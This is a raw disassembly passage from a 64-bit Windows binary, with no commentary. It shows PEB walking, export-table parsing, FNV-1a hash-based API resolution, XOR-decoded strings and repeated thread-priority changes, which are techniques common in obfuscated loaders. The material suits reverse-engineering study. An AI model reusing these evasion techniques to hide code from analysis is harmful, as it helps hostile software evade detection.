cmp al, 0x2e
jne 0x14006dee0
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14006df19
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14006df01
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x14006df33
cmp qword [rax + 0x30], 0
jne 0x14006ddd0
xor edx, edx
mov qword [0x1400f6cc0], rdx
movsd xmm0, qword [str._BSTU]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1400cf3a0]
mov word [rsp + 0x70], ax
cmp byte [0x1400cf3a1], 0
je 0x14006df91
mov byte [rsp + 0x68], WSAGetLastError
xor byte [rsp + 0x69], 0x36
xor byte [rsp + 0x6a], 0x37
xor byte [rsp + 0x6b], 0x38
xor byte [rsp + 0x6c], 0x39
xor byte [rsp + 0x6d], 0x3a
xor byte [rsp + 0x6e], 0x3b
xor byte [rsp + 0x6f], 0x3c
xor byte [rsp + 0x70], 0x3d
xor byte [rsp + 0x71], 0x3e
lea rcx, [rsp + 0x68]
call rdx
lea rdx, [rbp + 0xe0]
mov rcx, rax
call rbx
mov r13, rax
test rax, rax
je 0x14006e1fd
mov rax, qword [rsp + 0x50]
test rax, rax
jne 0x14006e15e
mov rcx, qword [0x1400f6cb8]
test rcx, rcx
jne 0x14006e161
xor r11d, r11d
mov r10d, 0x14a5cff0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006e03d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x7e8c578d
cmp rcx, r8
je 0x14006e034
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006e020
cmp edx, r11d
jne 0x14006e13d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006e13d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006e13d
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
mov edx, 0x7e8c578d
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006e0b6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006e0a0
cmp edx, r10d
je 0x14006e0c2
test r8d, r8d
jne 0x14006e080
jmp 0x14006e13d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x14006e155
lea rax, [r15 + rdi]
cmp rcx, rax
jae 0x14006e155
mov r11d, 0x7e8c578d
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x14006e117
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x14006e100
inc rcx
movzx eax, byte [rcx]
test al, al
je 0x14006e139
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x14006e121
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006e153
cmp qword [rax + 0x30], 0
jne 0x14006dff0
xor ecx, ecx
mov qword [0x1400f6cb8], rcx
jmp 0x14006e161
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call r13
mov ebx, eax
xor edx, edx
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movabs rcx, 0xff00ff00ff00ff00
mov rax, qword [rbp + 0x170]
xor rax, rcx
mov rcx, qword [rbp + 0x88]
mov qword [rcx], rax
mov rax, qword [0x1400f6c68]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0xb98]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x1b0], rcx
mov rax, qword [rcx]
movabs rdx, 0xff00ff00ff00ff00
xor rax, rdx
mov qword [rbp + 0x1a0], rax
mov qword [rcx], 0
cmp qword [0x1400f6c50], 0
jne 0x14006e356
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x510]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x518], 0
jne 0x14006e54a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e336
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e336
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9c17cd80
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e331
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e310
cmp r8d, 0x6777e650
je 0x14006e33b
test r9d, r9d
jne 0x14006e2f0
mov rax, qword [rax]
jmp 0x14006e2c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c58], 0
jne 0x14006e436
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x550]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x558], 0
jne 0x14006e54a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e416
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e416
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1351816
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e411
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e3f0
cmp r8d, 0xac2b477e
je 0x14006e41b
test r9d, r9d
jne 0x14006e3d0
mov rax, qword [rax]
jmp 0x14006e3a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c60], 0
jne 0x14006e516
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x540]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x548], 0
jne 0x14006e54a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e4f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e4f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6409304d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e4f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e4d0
cmp r8d, 0xbd3621ad
je 0x14006e4fb
test r9d, r9d
jne 0x14006e4b0
mov rax, qword [rax]
jmp 0x14006e480
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c68], 0
jne 0x14006e606
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x520]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x528], 0
je 0x14006e551
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006e5e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006e5e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe8baa947
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006e5e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006e5c0
cmp r8d, 0xbb9feb87
je 0x14006e5eb
test r9d, r9d
jne 0x14006e5a0
mov rax, qword [rax]
jmp 0x14006e570
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rbx, qword [0x1400f6cc8]
test rbx, rbx
jne 0x14006e83c
xor r11d, r11d
mov r10d, 0x6ee2167e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006e71d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x60abd22e
cmp rcx, r8
je 0x14006e714
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006e700
cmp edx, r11d
jne 0x14006e81d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006e81d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006e81d
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
mov edx, 0x60abd22e
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006e796
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006e780
cmp edx, r10d
je 0x14006e7a2
test r8d, r8d
jne 0x14006e760
jmp 0x14006e81d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14006e835
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x14006e835
mov r11d, 0x60abd22e
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14006e7f7
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14006e7e0
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x14006e819
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14006e801
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006e833
cmp qword [rax + 0x30], 0
jne 0x14006e6d0
xor ebx, ebx
mov qword [0x1400f6cc8], rbx
mov eax, dword [0x1400cf3b8]
mov dword [rbp + 0xc0], eax
movzx eax, word [0x1400cf3bc]
mov word [rbp + 0xc4], ax
movzx eax, byte [0x1400cf3be]
movups xmm0, xmmword [str.Bd_MsUZRLR_5_]
mov byte [rbp + 0xc6], al
movups xmmword [rbp + 0xb0], xmm0
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14006e9df
movdqa xmm5, xmmword [0x1400e4c40]
movdqa xmm4, xmmword [0x1400d0580]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [str.3333]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1400d04c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006e8d0
cmp r8d, 0x17
jge 0x14006ea23
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14006e9f0
mov rdx, qword [0x1400f6cc0]
test rdx, rdx
jne 0x14006ebcc
xor r11d, r11d
mov r10d, 0x7b3f1770
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r14, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [r14 + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006eaad
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x61abd3c1
cmp rcx, r8
je 0x14006eaa4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006ea90
cmp edx, r11d
jne 0x14006ebad
mov r9, qword [r14 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov esi, ecx
add rsi, r9
cmp rsi, r9
je 0x14006ebad
mov r8d, dword [rsi + 0x18]
test r8d, r8d
je 0x14006ebad
mov r15d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x61abd3c1
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006eb26
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006eb10
cmp edx, r10d
je 0x14006eb32
test r8d, r8d
jne 0x14006eaf0
jmp 0x14006ebad
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rsi
jbe 0x14006ebc5
lea rax, [rsi + r12]
cmp rdx, rax
jae 0x14006ebc5
mov r11d, 0x61abd3c1
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14006eb87
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14006eb70
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14006eba9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14006eb91
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x14006ebc3
cmp qword [rax + 0x30], 0
jne 0x14006ea60
xor edx, edx
mov qword [0x1400f6cc0], rdx
movsd xmm0, qword [str._BSTU]
movsd qword [rsp + 0x78], xmm0
movzx eax, word [0x1400cf3a0]
mov word [rbp - 0x80], ax
cmp byte [0x1400cf3a1], 0
je 0x14006ec1e
mov byte [rsp + 0x78], WSAGetLastError
xor byte [rsp + 0x79], 0x36
xor byte [rsp + 0x7a], 0x37
xor byte [rsp + 0x7b], 0x38
xor byte [rsp + 0x7c], 0x39
xor byte [rsp + 0x7d], 0x3a
xor byte [rsp + 0x7e], 0x3b
xor byte [rsp + 0x7f], 0x3c
xor byte [rbp - 0x80], 0x3d
xor byte [rbp - 0x7f], 0x3e
lea rcx, [rsp + 0x78]
call rdx
lea rdx, [rbp + 0xb0]
mov rcx, rax
call rbx
mov r13, rax
test rax, rax
je 0x14006ee8d
mov rax, qword [rsp + 0x50]
test rax, rax
jne 0x14006edee
mov rcx, qword [0x1400f6cb8]
test rcx, rcx
jne 0x14006edf1
xor r11d, r11d
mov r10d, 0x14a5cff0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006eccd
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x7e8c578d
cmp rcx, r8
je 0x14006ecc4
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006ecb0
cmp edx, r11d
jne 0x14006edcd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006edcd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006edcd
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
mov edx, 0x7e8c578d
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006ed46
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006ed30
cmp edx, r10d
je 0x14006ed52
test r8d, r8d
jne 0x14006ed10
jmp 0x14006edcd
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x14006ede5
lea rax, [rdi + r15]
cmp rcx, rax
jae 0x14006ede5
mov r11d, 0x7e8c578d
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x14006eda7
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x14006ed90
inc rcx
movzx eax, byte [rcx]
test al, al
je 0x14006edc9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x14006edb1
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006ede3
cmp qword [rax + 0x30], 0
jne 0x14006ec80
xor ecx, ecx
mov qword [0x1400f6cb8], rcx
jmp 0x14006edf1
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call r13
mov ebx, eax
xor edx, edx
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movabs rcx, 0xff00ff00ff00ff00
mov rax, qword [rbp + 0x1a0]
xor rax, rcx
mov rcx, qword [rbp + 0x88]
mov qword [rcx], rax
mov r13, qword [0x1400f6c70]
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
lea rcx, [rbp + 0xb98]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rcx
mov rax, qword [rcx]
movabs rdx, 0xff00ff00ff00ff00
xor rax, rdx
mov qword [rbp + 0x188], rax
mov qword [rcx], 0
cmp qword [0x1400f6c50], 0
jne 0x14006efe6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x4b0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x4b8], 0
jne 0x14006f1da
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006efc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006efc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9c17cd80
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006efc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006efa0
cmp r8d, 0x6777e650
je 0x14006efcb
test r9d, r9d
jne 0x14006ef80
mov rax, qword [rax]
jmp 0x14006ef50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c58], 0
jne 0x14006f0c6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x500]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x508], 0
jne 0x14006f1da
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f0a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f0a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1351816
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f0a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f080
cmp r8d, 0xac2b477e
je 0x14006f0ab
test r9d, r9d
jne 0x14006f060
mov rax, qword [rax]
jmp 0x14006f030
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c60], 0
